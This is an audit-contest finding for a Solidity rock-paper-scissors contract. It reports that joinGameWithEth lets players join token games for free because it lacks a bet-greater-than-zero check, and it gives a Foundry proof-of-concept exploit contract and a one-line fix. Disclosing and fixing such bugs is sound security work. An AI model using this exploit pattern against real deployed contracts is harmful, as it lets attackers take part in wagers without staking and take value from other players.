Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Players can join Token games free of charge

Summary

Players are able to join any Token game that is in the Created GameState, without providing any ETH or RPSW.

Vulnerability Details

RockPaperScissors::joinGameWithEth(uint256 _gameId) does not check that the game retrieved via _gameId has a bet amount of greater than zero. A bet amount of greater than zero would indicate an ETH game.

Instead, RockPaperScissors::joinGameWithEth(uint256 _gameId) checks that the msg.value is equivalent to the bet amount. Token games always have a bet amount of zero, therefore players can join by betting zero ETH.

Consider the following Proof of Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "./RockPaperScissors.sol";
import "./WinningToken.sol";
import "forge-std/Test.sol";
contract Evil is Test {
// The game.
RockPaperScissors public immutable rps;
// Mock accounts that we can use to demonstrate.
Puppet public immutable alice;
Puppet public immutable bob;
constructor(address _rps) {
rps = RockPaperScissors(payable(_rps));
WinningToken rpsw = rps.winningToken();
alice = new Puppet(rps, rpsw);
bob = new Puppet(rps, rpsw);
// Give one RPSW to Alice.
deal(address(rpsw), address(alice), 1);
}
function attack() external {
// Alice approves RockPaperScissors to transfer WinningToken.
alice.approve();
// Alice creates a game using RSPW.
uint256 gameId = alice.createGameRPSW();
// Bob joins Alice's game without paying!
bob.joinGameFreeOfCharge(gameId);
// Confirm that Bob has joined Alice's game.
(,address playerB,,,,,,,,,,,,,,) = rps.games(gameId);
assertTrue(address(bob) == playerB);
}
}
contract Puppet {
RockPaperScissors public immutable rps;
WinningToken public immutable rpsw;
constructor(RockPaperScissors _rps, WinningToken _rpsw) {
rps = _rps;
rpsw = _rpsw;
}
function approve() external {
require(rpsw.approve(address(rps), type(uint256).max));
}
function createGameRPSW() external returns(uint256) {
return rps.createGameWithToken(uint256(1), 1 hours);
}
function joinGameFreeOfCharge(uint256 _gameId) external {
rps.joinGameWithEth(_gameId);
}
}

Impact

If RPSW is supposed to represent or hold monetary value, the implications of this vulnerability are quite severe, as it allows a malicious actor to take part in Token games risk-free. The malicious actor either wins RPSW or loses nothing.

Tools Used

Manual Review.

Recommendations

It is recommended to check for a bet amount greater than zero in RockPaperScissors::joinGameWithEth(uint256 _gameId) as shown in the example below:

function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(game.bet > 0, "This game requires RPSW bet"); // SOLUTION: add this line!
require(msg.value == game.bet, "Bet amount must match creator's bet");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
Updates

Appeal created

m3dython Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Game Staking Inconsistency

joinGameWithEth function lacks a check to verify the game was created with ETH

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.